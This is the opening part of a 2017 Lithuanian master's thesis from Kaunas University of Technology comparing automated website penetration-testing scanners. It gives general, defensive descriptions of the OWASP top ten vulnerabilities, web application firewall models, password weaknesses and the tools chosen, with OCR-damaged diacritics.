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SANTRAUKA
Tyrimas atliekamas apie rinkoje esan¢ius automatinius auditavimo jrankius skirtus svetainiy
saugumui testuoti. Kadangi jrankiai yra testuojami kaip pigesné alternatyva profesionaliam saugumo
auditui — saugumo nustatymai buvo audoti tie, kurie diegiami programingje jrangoje pagal nutyléjima.
Tyrimo tikslas — iSsiaiskinti automatiniy jrankiy efektyvuma, bei galimybé pakeisti profesionaly
audita
Tyrimo uzdaviniai:
1. ISanalizuoti populiariausius pazeidziamumus
2. I8siaiskinti pazeidziamumy masta
3. Aptarti galimus apsisaugojimo biidus
Tyrimo metodas — tyrimas buvo atliktas naudojant 6 populiariausius automatinius saityno
programos auditavimo jrankius. 3 i§ $iy jrankiy buvo komerciniai ir 3 atviro kodo. Siekiant i$siaisSkinti
kiekvieno jrankio efektyvuma ir galimybes, buvo paruosta pazeidziama sistema.
Pazeidziamg sistemg sudaré dviejy mety senumo WordPress turinio valdymo sistema, bei buvo
parinkti populiariis 9 moduliai turintys pavieSintus pazeidziamumus.
Tyrimo rezultatai — daugiausiai pazeidziamumy radgs jrankis Acunetix turéjo zenkly pranasuma
dél to, kad naudojo i$ anksto surinktg egzistuojanciy pazeidziamumy duombazg. To pasekoje jrankis
galéjo identifikuoti pazeidziamumus net ir tose vietose, kurios narSant saityno programa paprastai biity

nematomos.



Saukaitis, Gedas. Analysis and Evaluation of Automated Website Penetration Testing Tools:
Master‘s thesis in Informatics / supervisor assoc. Jonas Ceponis. The Faculty of Informatics, Kaunas
University of Technology.

Research area and field: Information and Information Technology Security
Key words: pentesting tools, security improvement, automated testing, website security
Kaunas, 2017. 58p.

SUMMARY
The research topic was automated website pentesting tools. The aim of the research is a possibility
to replace a professional security audit to an automated pentesting scan. As the main purpose of the
automated scan is to have a cheaper alternative — all the security related settings were default.
Aim of research: to research effectiveness of automated pentesting tools and consider a
possibility to replace a proffessional audit.
Objectives:
1. Analyze the most popular vulnerabilities
2. ldentify a scope of the security issues
3. Possible mitigation options
Research method — the research was done by using 6 most popular automated pentesting tools.
3 commercial and 3 open source tools were chosen to conduct the test. In order to evaluate the
effectiveness of each tool, vulnerable application was deployed.
Web application consisted of vulnerable WordPress content management system core released 2
years ago and 9 popular plugins with public advisories.
Research results — the most vulnerabilities were identified by commercial tool Acunetix. The
local vulnerability database was the advantage that allowed to identify almost all the vulnerabilities.
That was the reason why it was capable to identify security flaws that could not be identified just by

browsing the web page.
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TERMINU IR SANTRUMPU ZODYNAS

Front end - iSoriné s3saja

Back end - vidiné sasaja

XSS (Cross-Site Scripting) — jterptiniy komandy pazeidZziamumas

RCE (Remote Command Execution) — nuotolinis komandy vykdymas

SQL Injection — SQL komandy injekcija

BotNet — Robotizuotas kompiuteriy tinklas

DDOS (Distributed Denial Of Service) - paskirstytas atsisakymas aptarnauti

SSH Secure Shell — nuotoliné saugi tekstiné sistemos sgsaja

API (Application Program Interface) — taikomyjy programy sasaja

OSI (Open Systems Interconnection) - abstraktus rySio protokoly, naudojamy rySio ir
kompiuteriniuose tinkluose, aprasymas

WAF (Web Application Firewall) — saityno programos ugniasiené

LAMP (Linux Apache MySQL PHP) — saityno programy talpinimui dazniausiai naudojamas

programinés jrangos rinkinys
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IVADAS

Darbas priklauso Informacijos ir informaciniy technologijy saugos studijy programai.

Technologijoms judant j priekj, kompiuterizuojasi visi. Tiek didelés jmonés, tieck Seimos verslai,
tiek individualios asmeny veiklos siekiant praplésti klienty ratg yra pleCiamos interneto link. Savaime
suprantama, internete informacijos paskleisti nepavyks neturint internetinés svetainés. Atsizvelgiant |
biudzeta, svetainé gali biiti vieno puslapio, skelbianti tik biiting informacijg apie jmong, arba turinti
begale funkcijy, leidzianciy vartotojui prisijungti ir atlikti pirkimus ar kitus suplanuotus veiksmus.

Kiekvienas svetainés funkcionalumas ar dizaino Strichas glaudziai susij¢s su turimu finansavimu,
skirtu svetainei kurti. Mazas finansavimas didelei ir sudétingai svetainei reiSkia, jog svetainés
uzsakovas negalés jpirkti Sios srities profesionaly, todél teks tenkintis zemesn¢ kvalifikacija turinciais
asmenimis. Maza kaina dazniausiai simbolizuoja dar neturintj patirties ar darby portfelio asmenj ar
jmone, siekian¢ia gauti uzsakymy karjeros pradzioje. Zinoma, pasitaiko rety i§im&iy.

Svetaing sudaro dvi dalys, tai yra iSoriné sgsaja (angl. front end) ir vidiné sasaja (angl. back end).
Tiek uzsakovams, tiek svetainés vartotojams yra matoma bitent iSoriné¢ sgsaja. Tai yra visas
iSdéstymas, paveiksliukai, t. y. viskas, kas matoma vizualiai narSykl¢je. Vidinéje sasajoje yra
vykdomas pagrindinis visos svetainés funkcionalumas. Sioje dalyje i§ vartotojo perimami duomenys,
apdirbami ir perduodami j duomeny bazg. Svetainés vidinéje dalyje gali biiti integruotas duomeny
sulyginimas su kitomis svetainémis, prisijungimo duomeny logika ir t. t.

Didesnése jmonése iSoriné ir viding sasaja yra iSskirta j atskiras dalis, ir jas kuria bei tobulina
atskiri zmonés ar net grupés. Labiau patyr¢ svetainiy kiir¢jai pasirenka kryptj, kurioje ir gilinamos
zinios, kadangi Sios dvi kryptys reikalauja gan skirtingy jgtidziy.

Deja, turint ribota svetainés kiirimo biudzeta dél trukstamy 1éSy ar neturint pakankamai
kompetencijos interneto technologijy srityje, tampa sudétinga jsigyti kokybiska svetainés kairimo
paslauga. Siekiant sutaupyti kartais samdomas vienos srities specialistas, taCiau jis jpareigojamas
atsakyti tiek uz iSoring, tiek uz vidine sasajos dalj.

Nekokybiskai atlikus iSorinés sasajos kiirimo darbus gadinamas jmonés jvaizdis. Gali biti
netvarkingai atvaizduojamos formos, iSkraipomas tekstas, skirtingose narSyklése svetainé veikia
padrikai ir skirtingai. Pagrindinés problemos $ioje dalyje yra vizualings, ir jos yra labiausiai pastebimos
svetaing aplankiusiy vartotojy.

Turint neprofesionaliai atlikta vidinés sgsajos dalj kyla saugumo problemy. Vizualiai vartotojams
Si dalis néra matoma, taciau gali sukelti rimty problemuy, jei i svetaing bus jsilauzta. Gali biiti pazeistas

konfidencialumas, integralumas ir pasiekiamumas.
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Siekiant iSvengti jsilauzimo pavojaus, biitina svetaine ne tik kokybiskai sukurti, taciau po kiirimo
ja reguliariai atnaujinti ir stebéti. Saugumo atzvilgiu rezultatas yra daug aukstesnis, jei kartu atlieckami
ir reguliartis saugumo auditai, siekiant nustatyti, ar svetainé netapo pazeidziama.

Deja, auditavimas prieinamas ne visoms jmonéms, todél daznai yra ieSkoma alternatyviy
sprendimy. Vienas i§ pigesniy sprendimy yra automatiniai pazeidziamumy skanavimo jrankiai. Pagal
i§ anksto paruoStas taisykles ar turimg pazeidziamumy duomeny baz¢ yra tikrinamas svetainés
atsparumas jsilauzimui. Dabartiniai automatiniai jrankiai neturi galimybés prilygti Zmogaus
atlieckamam saugumo auditui, taciau tai gali buti geras sprendimas pradziai.

Biitent $iy automatiniy jrankiy rezultatai ir yra tiriami §iame magistriniame darbe.

Darbo tikslai:

o issiaiSkinti galimybg iStirti svetainiy sauguma automatizuotu budu;
e rasti jrank] pateikusj iSsamiausig ir tiksliausig informacija apie pazeidziamumus;

Darbo uzdaviniai:

e iSsiaiSkinti jsilauzimy mastg;

e iSsiaiSkinti populiariausius pazeidziamumy tipus;

e rasti jrankius, gebancius surasti pazeidZiamumus;

e jvertinti kiekvieno jrankio tinkamumg kiekvienu atveju.

Siame darbe bus aiskinamasi koks yra svetainiy jsilauzimo mastas. Kadangi dauguma jsilauzimy
yra vykdomi biitent automatizuotu biuidu, Sie paZeidziamumai turéty biiti pakankamai nesunkiai
identifikuojami, kadangi jsilauzéliai siekdami kuo didesnés naudos, turéty rinktis labiausiai paplitusias
turinio valdymo sistemas bei jy iskiepius. Identifikavus populiariausig turinio valdymo sistema bus
diegiami jskiepiai su jau bent kelis ménesius zinomais pazeidziamumais, kuriuos biity galima meéginti
atpazinti naudojant automatinius auditavimo jrankius. Kadangi $iuolaikinés didelés ir funkcionalios
svetainés dazniausiai panaudoja treCiyjy Saliy jskiepius ar bibliotekas, sekmés tikimybé priklauso nuo
to, ar auditavimo jranga kaupia duomeny baze¢ apie Siuos pazeidziamumus ar ne. Pagal gautus
rezultatus bus lyginami auditavimo jrankiai, ir i§ jy bus renkamas tiksliausiai pazeidZziamus

identifikaves jrankis.
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1. SVETAINIU PAZEIDZIAMUMU TIPAI BEI GALIMI SPREDIMAI

Analizés skyriuje bus tiriamas svetainiy pazeidziamumy mastas, problematika, bei pagrindinés

priezastys. Bus aptariami galimi sprendimo budai.
1.1. PaZeidZiamy svetainiy mastas

Pagal WhiteHat atliktus tyrimus paaiskéjo, kad i tikrinty 30 000 svetainiy net 86 % turéjo bent
vieng rimta pazeidziamuma, o tarp jy daugiau nei pusé (56 %) turé¢jo daugiau nei vieng pazeidziamuma.
Po pranesimo savininkams mazdaug 61% i§ Siy pazeidziamumy buvo sutvarkyti, taciau tokiam

rezultatui prireiké 193 dieny.!
1.2. DaZniausiai sutinkamy jsilauZimy deSimtukas pagal 2017 mety ,,OWASP*

OWASP (angl. Open Web Application Security Project) tai svetainé atsidariusi nuo 2001
gruodzio 1 dienos ir pradéjusi veikla Amerikoje kaip ne pelno siekianti organizacija nuo 2004 mety
balandZio 21 dienos. Pagrindinis OWASP tikslas — bendruomené¢ siekianti atkreipti démesj j sauguma
ir jo vystymasi pasauliniu lygmeniu.

Visi jrankiai, surinkti duomenys ir rasty pazeidziamumy sprendimo biidai pateikiami vieSai.

Pagal naujausius surinktus duomenis OWASP pateiké 10 dazniausiai sutinkamy pazeidziamumy
2017 metais?:

1. Injekcija (angl. Injection)
2. Neteisingai implementuotas autorizacijos ar sesijos valdymas (angl. Broken
Authentication and Session Management)
Iterptinio kodo pazeidziamumas (angl. Cross-Site Scripting (XSS))
. Nesaugts tiesioginiai kreipiniai j resursus (angl. Broken Access Control)

Klaidinga saugumo konfigtiracija (angl. Security Misconfiguration)

3

4

5

6. Jautrios informacijos paviesSinimas (angl. Sensitive Data Exposure)

7. Nepakankama apsauga nuo ataky (angl. Insufficient Attack Protection)

8. Kryzminis svetainés uzklausy klastojimas (angl. Cross-Site Request Forgery (CSRF))
9. Zinomi nesaugiis produktai (angl. Using Components with Known Vulnerabilities)

10. Neapsaugotos saityno tarnybos (angl. Underprotected APIs)

! https://www.whitehatsec.com/news/whitehat-security-2015-website-security-statistics-report-052115
2 https://www.owasp.org/index.php/Category:OWASP _Top Ten 2017 Project
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1.2.1. Injekcija

Dél netinkamy kliento perduodamy duomeny filtravimo saityno programoje atsiranda galimybé
vykdyti tiesiogines SQL uzklausas. ISnaudoj¢s §] pazeidZziamuma jsilauzélis gauna pri¢jimg prie
duomeny bazéje saugomos informacijos. Priklausomai nuo duomeny baziy sistemos ir teikiamy sgsajy,

SQL injekcija taip pat gali biiti panaudota failams skaityti / rasyti ir sisteminéms komandoms vykdyti
[1].
1.2.2. Neteisingai implementuotas autorizacijos ar sesijos valdymas

Svetainiy kiiréjams daznai tenka kurti specifines autentifikacijas bei sesijy valdyma pagal tam
tikras paruostas schemas, taciau Siy sistemy kiirimas yra sunki ir kompleksiska uzduotis. Tiek
autorizacijos, tiek sesijy valdymo sprendime atsiranda klaidy, leidzian¢iy gauti prieigg prie apsaugoty

resursy [2].
1.2.3. Jterptinio kodo paZeidZiamumas (XSS)

D¢l netinkamo pavojingy simboliy filtravimo mechanizmo veikimo apdorojant interneto
programai perduodamy parametry turinj, kuris véliau yra atvaizduojamas HTML kode, jmanoma
vykdyti bet kokius JavaScript scenarijus vartotojo narSykl¢je pazeidziamos interneto svetainés
kontekste. Pasinaudojus jterptinio kodo pazeidziamumu nejmanoma padaryti zalos interneto serveriui
ar jame veikianCioms saityno programoms, tacCiau prie§ klienta galima taikyti jvairias atakas:
pasisavinti prisijungimo duomenis, iSnaudoti narSykliy pazeidziamumus ir gauti kodo vykdymo
galimybe vartotojo sistemoje, suklastoti tinklalapiy turinj [3].

Iterptinio kodo pazeidziamumai yra skirstomas j dvi kategorijas:

e Nuolatinis jterptinio kodo paZeidZiamumas. Tai nuolatinis jterptinio kodo
pazeidziamumas, kuris yra iSsaugomas svetaingje, ir atvaizduojamas vartotojui
aplankius svetainés pazeidziama vieta;

e Atspindintis jterptinio kodo paZeidZiamumas. Tai nenuolatinis, arba dar kitaip
»atspindintis” jterptinio kodo pazeidziamumas, kuris matomas tik tada, kai yra
paspaudziama specialiai suformuota nuoroda.

Siy abiejy pazeidziamumo tipy pagrindinis skirtumas yra tai, jog nuolatinio paZeidziamumo

atveju, jokios nuorodos spausti nereikia — kodas jterptas jau j matomga svetaine.
1.2.4. Nesaugiis tiesioginiai kreipiniai j resursus

Programos svetainés generavimo metu daZznai naudoja tiksly objekto pavadinimg ar rakts..
Tiksliau tariant, programa remiasi resurso saugumu, tuo, kad vartotojas nezino tiesioginés nuorodos i

§i resursa. Programos ne visada tikrina, ar vartotojas yra autorizuotas tam failui ar objektui pasiekti.
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Dél to iSkyla tiesioginis failo pri¢jimo pavojus. Testuotojai gali lengvai manipuliuoti svetainéje

esanciais parametrais, norédami identifikuoti tokius resursus.
1.2.5. Klaidinga saugumo konfigiiracija

Neteisingos konfigliracijos pavojus gali kilti bet kurioje vietoje. Tai gali buti pati programa,
platforma, interneto serveris ir t. t. Svetainiy ktiréjai ir sistemy administratoriai turéty dirbti kartu, kad
bty issiaiskinti visi reikalingi poreikiai, ir visos prieigos biity laikomos su maziausiu reikalingy teisiy
kiekiu.

Isilauzelis gali pasinaudoti vartotojais, kurie sukuriami jdiegiant sistemg pagal nutyléjima,

pasinaudoti apleistomis svetainémis, laikinai jkeltais failas ir pan [4].
1.2.6. Jautrios informacijos pavieSinimas

Dazniausiai sutinkama klaida, dél ko atrandamas §is pazeidZziamumas, jog duomenys néra
Sifruojami. Taip pat, jei kriptografijos funkcijos yra implementuotos, jos naudoja lengvai nuspéjamus

raktus ar silpnus Sifravimo algoritmus [5].
1.2.7. Nepakankama apsauga nuo ataky

Dauguma programy ir interneto tarnyby (API) neturi paprasCiausiy jsilauzimo atpazinimo
sistemy, galinCiy automatiskai blokuoti méginimus jsilauzti. Apsauga nuo jsilauzimy yra daugiau nei
paprasCiausias jvedamy duomeny filtravimas, tai labiau automatiné atpazinimo sistema, renkanti

duomenis, iSsauganti jvykiy zurnalus ar net blokuojanti zalingas uzklausas [6].
1.2.8. KryZminis svetainés uzklausy klastojimas

CSRF pazeidziamumas — tai toks piktavalis veiksmas, kuris privercia vartotojg kg nors atlikti jam
to nezinant. Tai gali biiti duomeny pakeitimas, laisko i$siuntimas ir kiti veiksmai. Sis pazeidziamumas
kyla i§ to, jog svetainé netikrina i§ vartotojo siystos uzklausos autentiSkumo, todé¢l ta pacig uzklausa
galima siysti kelis kartus arba paruosti faila, kuris tai atlikty automatiskai. Tai gali biiti panaudota
slaptazodZziui pakeisti, pinigams persiysti, prekei nupirkti ir pan [7].

1.2.9. Zinomi nesaugis produktai

Programuotojams vykdant projektus, dazna praktika yra nekurti produkty nuo pat pradzios, taciau

pernaudoti jau esamus produktus. Deja, dél neapsiziiiréjimo ar neZinojimo kartais yra pasirenkama

naudoti produkta, kuriame yra rasti pazeidziamumai. Tokio produkto naudojimas sukelia jsilauzimo

rizikg j interneto programa dar pacioje pirmingje projekto stadijoje [8].
1.2.10. Neapsaugotos saityno tarnybos (API)

Modernios programos daznai yra i$skiriamos j dvi atskiras dalis, kur viena svetainés dalis yra

tiktai narSykléje veikianti vizualiné dalis (pvz.: HTML su JavaScript), o visa informacija yra imama
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1§ vidinés sgsajos naudojant saityno tarnybg (angl. API). Daznai dél to, kad vidin¢ sasaja néra matoma

vieSai, pamirStama pasiriipinti jos saugumu [9].
1.3. Isilauzimo sunkinimas (interneto programos ugniasiené)

Tradicinés ugniasienés yra sukurtos tam, kad apsaugoty serverius ar kitg jrangg nuo ataky ar
jsilauzymy tinkly lygmeniu. Tai tam tikras taisykliy rinkinys pritaikomas tinklu siunc¢iamiems
paketams.

Kadangi saityno programa veikia aukstesniame OSI (angl. Open Systems Interconnection) lygyje,
tradicinés ugniasienés neturi pakankamo funkcionalumo, kad galéty jas apsaugoti. To pasekoje buvo
sukurta saityno programos ugniasiené (angl. Web Application Firewall arba sutrumpintai WAF), kuri

turi galimybe aptikti ir reaguoti | uzklausas siunc¢iamas interneto svetainei [10].
1.3.1. Saugumo modeliai

Dazniausiai yra manoma, jog ModSecurity modulis gali biti naudojamas tik blokavimui pagal
juodajj sarasa, bet tai néra tiesa. ModSecurity neturi modelio pagal nutyléjimg. Biitent vartotojas
nusprendzia, kokias taisykles reikia implementuoti, ir kokj blokavimo modelj reikia naudoti.
Dazniausiai naudojami keturi moduliai:

e juodasis uZklausy sarasas. Pagal $j blidg modulis ieSko zinomy kenksmingy bei blogy
uzklausy. Sis modelis maZiausiai efektyvus apsaugos modelis dél dviejy pagrindiniy
priezasCiy. Pirma, tai kiekvienas pazeidziamumas gali biiti iSnaudojamas jvairiais biidais
naudojant jvairias koduotes, tod¢l reikéty apraSyti visas jmanomas pazeidziamumo
iSnaudojimo variacijas. Antra, tai atakos metodai su laiku tobuléja, todél nauji jsilauzimo
metodai gali biiti nebeaptinkami §iuo metu naudojamy filtry [2]. Taip pat Naudojant per didelj
taisykliy rinkinj, gali nukentéti greitaveika;

e Dbaltasis uzklausy sarasas. [gyvendinus §] ModSecurity modelj priimamos tik tos uzklausos,
kurios yra leidziamos, visa kita yra atmetama. Toks modelis labiausiai tinkamas yra
programoms, kurios yra daznai naudojamos ir atakuojamos, taciau retai keiiamos ir
atnaujinamos; Sis modelis nereikalauja Zinojimo kaip atrodo piktavaliikos uzklausos, pakanka
zinoti kokie teisingi duomenys turéty biiti siun¢iami internetinei svetainei [11].

e virtualus uZtaisymas. Sis modelis naudojamas naujai atsiradusiam paZeidziamumui
nukenksminti. Kartais didelése korporacijose néra galimybés atlikti greito kodo pakeitimo, ir
klaidos iStaisymas gali uztrukti savaites ar net ménesius. Siekiant iSsaugoti svetainés
funkcionaluma, kuriame buvo atrastas pazeidziamumas, taciau jj nukenksminti — sukuriama
programos ugniasienes taisykle, blokuojanti tik tam tikro tipo uzklausas, atitinkancias i§ anksto

numatytus kriterijus [12].

16



¢ nutekancios informacijos aptikimas. ModSecurity turi galimybe stebéti ne tik jeinancias
uzklausas, bet ir vartotojui siun¢iamg informacijg. Tokiu biidu modulis gali identifikuoti ir
blokuoti informacijos pertekliaus atskleidimo pazeidziamumg bei filtruoti jautrios

informacijos, tokios kaip kredito korteliy numeriai ar asmens kodai nutekéjima [13].
1.4. Apsisaugojimo budai

Nuo jsilauzimy niekas néra apsaugotas, taCiau jsilauzimo rizika galima sumazinti iki
minumumo laikantis tam tikry taisykliy.
e Atnaujinimai
e Sudétingi slaptazodziai

e Periodinis saugumo auditas
1.4.1. Atnaujinimai

Dazniausia jsilauzimy j svetaines priezastis yra biitent dél pasenusi programiné jranga.
Kadangi dauguma svetainiy yra suindeksuotos paieskos sistemy, galima rasti ir svetaines, kurios buvo
savo savininky uzmirstos, j tokias svetaines yra nesudétinga jsilauzti automatizuotu badu, ir i$ karto |
didelj jy kiekj [14].

Tam, kad jsilauzimo rizika biity galima sumazinti iki minimumo, reikéty naudoti naujausia

programing jrangg su visomis iStaisytomis Zinomomis saugumo spragomis.
1.4.2. Slaptazodziai

Reikéty taip pat nepamirsti ir slaptazodziy. Dazniausiai paprastose turinio valdymo sistemose
pagal nutyléjimg yra silpna arba iSvis neegzistuojanti slaptazodziy politika, todél vartotojy
slaptazodziai gali neatitikti saugumo standarty. Slaptazodziai gali biiti trumpi, lengvai atsp¢jami bei
reguliariai nekei¢iami. Sios politikos neegzistavimas atveria kelig Zodyno ir spéliojimo atakoms. Sio
pazeidziamumo iSnaudojimas jsilauzéliui gali suteikti prieigg prie vartotojo paskyros.

Isilauzélis, turédamas prieigg prie administracinés aplinkos, turi galimybe sukompromituoti visa
interneto programg, modifikuoti ar kurti naujus vartotojus, jkelti failus ir diegti papildomus jskiepius.
Nepaisant to, jog placiai zinoma, jog reikia naudoti sudétingus slaptazodzius, 5 populiariusi 2016 mety
slaptazodziai yra (lyginant su 2015)3:

1. 123456 (nepakito);

2. password (nepakito);

3. 12345678 (pakilo per 1);
4. qwerty (pakilo per 1);

3 http://gizmodo.com/the-25-most-popular-passwords-of-2015-were-all-such-id-1753591514
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5. 12345 (nukrito per 2).
Pagal nutekinty slaptazodziy tyrimus buvo pastebéti tam tikri slaptazodziy kiirimo deriniai, pagal
kuriuos galima vykdyti daug efektyvesnes slaptazodziy spéliojimo atakas. Pagal 163.com svetainés
nutekinty 5 milijony slaptazodziy duomenis buvo pastebéta, jog slaptazodis dazniausiai pasirenkamas

8 simboliy (zr. lentelé 1.1) [15].

lentelé 1.1 slaptazodzio ilgis pagal daznuma

Ilgis Visy slaptazodziy dalis Slaptazodziy kiekis
8 23% 1159984
7 17% 973951
6 17% 870857
9 16% 822077
10 11% 572185
11 7% 399021
12 2% 141935
13 1% 69776
14 1% 58601

Nepaisant to, jog slaptazodziai dazniausiai buvo pasirenkami nepakankamai ilgi, jie buvo
sudaryti nesilaikant gerosios saugumo praktikos. Tarp tiriamy duomeny, didzigja dalj sudaré vien tik
i3 skai¢iy sudaryti slaptazodziai (Zr. lentelé 1.2). Sioje lenteléje paminéti skaiciy ir raidziy su skaiéiais
rinkiniai sudaro 96% visy slaptazodziy, like 4% atskiri simboliy rinkiniai nesudaro né 1% [15].

lentelé 1.2 slaptazod] sudarantys simboliai

Simboliai Visy slaptaZodziu dalis SlaptaZzodziy kiekis
skaiciai 58% 2931867
mazosios raidés + skaiciai 30% 1527719
misrios raidés + skaiciai 8% 450746

Interneto svetainé turéty biiti sukonfigiiruota taip, kad vartotojams taikyty sunkiy slaptazodziy
politika. Tai gali buti arba pacios turinio valdymo sistemos branduolio funkcionalumas, arba tiesiog
papildomy jskiepiy funkcija. Pats sprendimo jgyvendinimo btdas didelés reikSmés neturi, taciau
reikéty laikytis standartiniy slaptazodzio generavimo reikalavimy. kurie padéty padidinti vartotojy
paskyry sauguma:

e biti ne trumpesnis nei 14 simboliy;

e turéti bent 3 skirtingas simboliy klases (mazosios raidés, didziosios raidés, skaitmenys,
specialieji simboliai);

e bity reguliariai keiiami.
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Vartotojus verciant laikytis $iy trijy taisykliy buty sumazinta tikimybe, jog vartotojy slaptazodziai
bus pazeidziami slaptazodziy parinkimo atakoms. Tokiu biidu bus uZtikrinta, jog piktavaliski failai

nebus jkeliami naudojant esamy vartotojy prisijungimo duomenis.
1.4.3. Saugumo auditas

Laikantis pirmyjy saugumo reikalavimy atremiamas didziausias ataky kiekis. Tokiu bidu,
internetu plintantys automatiniai uzkrétimo jrankiai nesugeba jsilauzti j tvarkingai atnaujintg svetaing,
kurioje naudojami stipriis slaptazodziai. Deja, norint apsisaugoti nuo tikslinés jsilauzimo atakos, reikia
skirti daugiau resursy. Tuo tikslu aplikacijoms ir jas palaikantiems serveriams yra atliekami auditai,
kuriy tikslas yra nustatyti aplikacijos atsparuma jsilauzimams [16].

Gali biiti atliekami keliy riiSiy auditai. Daugiausiai duodantis rezultaty auditas yra tas, kurio metu
tirlamas ir programinis iSeities kodas, ir testuojama pati aplikacija, ir visa aplikacijos infrastrukttra.
Deja, ne visada yra pakankamai resursy tokiam auditui atlikti, todél yra ieSkoma ekonominio, pradinio

varianto, padedancio iSspresti bent jau labiausiai pastebimus pazeidziamumus.
1.5. ISvados

Pagal gautus rezultatus, panasu, jog internetiniy svetainy saugumas tampa vis didesne problema.
Nepaisant to, jog dauguma pazeidziamumy sprendimai paprasti — dél kompetencijos truikumo ar
taupumo jie néra sprendziami. Deja, dél esanciy silpnybiy svetainéje ji yra anksCiau ar véliau
nulauziama, ir véliau panaudojama tolimesnéms atakoms, arba yra pavogiami svarbiis viduje esantys
duomenys.

Tam, kad j svetaine nebiity jsilauzta automatizuotu biidu internete sklindanciais virusais, pakanka
svetaing ir jos visus komponentus atnaujinti, bei naudoti sudétingus slaptazodzius. Virusai dazniausiai
plinta pasirinkdami populiarius jskiepius ar komponentus, tam kad virusas kuo grei¢iau plisty.
iSleidziamas atnaujinimas, kuris atrasta pazeidziamuma iStaiso. Savaime suprantama, laiku
atnaujinama svetainé tokiu biidu niekada neturés ,,populiariy” pazeidziamumy.

Deja atnaujinimai ir sunkis slaptazodziai neapsaugo nuo jsilauzélio, kurio pagrindinis tikslas yra
konkreti svetainé. Kadangi jsilauzélis mégina rankiniu btidu identifikuoti nestandartinj koda, ir visas
vietas, kurios buvo programuotos biitent tai svetainei — jis gali atrasti pazeidziamuma, kuris néra viesai
zinomas ir galioja tik tai vienai svetainei.

Tam, kad sumazinti rizikg iki minimumo, biitina reguliariai atlikti svetainés saugumo
patikrinimg. Méginant sankcionuotai jsilauzti j svetaine, gali biiti identifikuotos visos jos silpnosios
vietos, kurios gali véliau uztaisytos. Biitina atkreipti démesj, jog kadangi laikui bégant atrandami s

nauji pazeidZziamumai, bei nauji atakos vektoriai — saugumo patikrinimas neturéty biiti vienkartinis.
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2. PAZEIDZIAMUMU TESTAVIMO JRANKIAI IR TESTAVIMO OBJEKTAS

Pazeidziamumy suradimui dazniausiai taikomos yra ,,baltosios dézés* (angl. White box) arba
,juodosios dézés“ (angl. Black box) principas. Auditg atlikant ,,baltosios dézés* principu principu
svetainé yra nagriné¢jama iS§ vidaus. Atlieckamas auditas perzitirint visa iSeities kodg ir taip
identifikuojant galimus pazeidziamumus ir po to juos verifikuojant naudojant narSykle.

Blackbox principas atliekamas 1§ iSorés neturint Ziniy apie veikiancig sistemg. Principas panasus,
kokiu veikty jsilauzélis norédamas pasinaudoti sistema [17]. Visi §iame darbe tiriami jrankiai veikia
bitent ,,juodosios dézés“ metodu.

Sio tyrimo tikslas yra i$siaiskinti galimus audito atlikimo sprendimo variantus mazoms jmonéms
su ribotu biudzetu. Automatiniai auditavimo jrankiai galéty biiti panaudojami kaip pirminé stadija

siekiant i$siaiskinti turimos aplikacijos sauguma.
2.1. Interneto programy saugumo testavimo jrankiai

Jrankiai auditui buvo pasirinkti 5 populiariausi audito jrankiai*:
1) Burp®
2) Netsparker®
3) Arachni’
4) W3af?
5) Vega’
Taip pat, kadangi 2 jrankiai yra komerciniai o 3 atviro kodo, siekiant lygybés buvo pridétas
papildomas komercinis jrankis, esantis sectools.org saityno programy labiausiai naudojamy sarase.
6) Acunetix!®
Web aplikacijos testavimo jrankis komunikuoja su web aplikacija per vartotojo sasaja, tam kad
i§siaiskinti visas sistemos silpnybes ir pazeidziamumus. Sie jrankiai neaudituoja iseities kodo ir atlicka

testavimus tik 1§ narSyklés perspektyvos.
2.1.1. Burp

,Burp Suite* yra jrankis leidziantis jvertinti aplikacijos sauguma. Burp licencija metams $iuo

metu kainuoja 329eu, leidZianti naudotis visu turimu funkcionalumu. Sis jrankis taip pat turi ir

4 http://resources.infosecinstitute.com/top-5-web-application-security-scanners-2017
5 https://portswigger.net/burp/scanner.html

¢ https://www.netsparker.com/

7 http://www.arachni-scanner.com/

8 http://w3af.org/

% https://subgraph.com/vega/

10 https://www.acunetix.com/
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nemokamg versijg taCiau su apribotu funkcionalumu, pvz nemokamoje versijoje néra galimybés

naudoti automatinio pazeidZziamumy testavimo [18]:

Saityno perzitiros robotas automatizuotai patikrinantis ir iSnarSantis visas svetainéje
esancias nuorodas.

Aplikacijos saugumo automatinis testuotojas (zZr. pav. 2.1)

Pusiau automatiniy uzklausy siuntimas j svetaing

Rankinis uzklausy siuntimas jgalinantis duomeny manipuliavimg ir persiuntima
kiekvienos atskiros uzklausos

Sekos tyrimai, skirti web aplikacijos atsitiktinai sugeneruoty reikSmiy entropijos
tyrimui.

Iskiepiai leidZiantys iSplésti funkcionalumg ruby, python ir java kalbomis [18].

Burp Intruder Repeater Window Help
lT:lgd lProxy 15;-«" Scanner | Intruder IRop'au lanumcol lDocodu I Comparer IExlmdﬂ iPropcl options l User options les |

| Issue actiity ] Scan queue I Live scanning l Issue definitions l Options l

# 4 Host

1 http//ktu.demo
2 hitp //ktu demo
3 hitp //ktu demo
4 hitp//ktu.demo
5 http://ktu. demo
6 http//ktu demo
7 hitp//ktu.demo
8 http:/ktu. demo
9 http //ktu demo
10 http//ktu.demo
11 http//ktu demo
12 http://ktu demo
13 http://ktu demo
14 http//ktu demo
15 hitp//ktu.demo
16 http//ktu demo
17 hitp//ktu demo
18 http://ktu demo
19  http://ktu demo
20  http://ktu. demo
21 http//ktu. demo
22  http//ktu. demo
23 http://ktu demo
24 http://ktu demo
25  hitp//ktu. demo
26 http://ktu.demo

URL Status Issues Requests Enmors Insertion points | Start time End time
/mutilldae/ finished 193 4 23.00.53 16 Jan 2017 230137
/mutillidae/ finished 358 6 23:00:53 16 Jan 2017  23.02.57 *
/mutillidae/ finished 9 414 7 23:00:53 16 Jan 2017  23.03:32*
/mutillidae/documentation/ finished 2 167 5 23:00:53 16 Jan 2017  23:00:55 *
/mutillidae/documentation/ finished 2 251 7 23:00:53 16 Jan 2017  23:00:56 *
/mutillidae/documentation/Mutillidae-Test-Sc... finished 209 6 23:00:53 16 Jan 2017  23.00:59 *
/mutillidae/documentation/how-to-access-Mu... finished 2 244 7 23.00:53 16 Jan 2017  23:00:58 *
[ / tallat. .. finished 167 5 23:00:53 16 Jan 2017  23.0247 *
/mutillidae/documentation/sqimap-help txt finished 216 6 23:00:53 16 Jan 2017  23.00:56 *
php  finished 244 7 23:00:53 16 Jan 2017  23.00:59 *
/mutillidae/framer html finished 169 5 23:00:55 16 Jan 2017  23.00:56 *
/mutillidae/images/ finished 167 5 23:00:56 16 Jan 2017  23:00:57 *
/mutillidae/images/ finished 254 7 23:00:56 16 Jan 2017  23:00:59 *
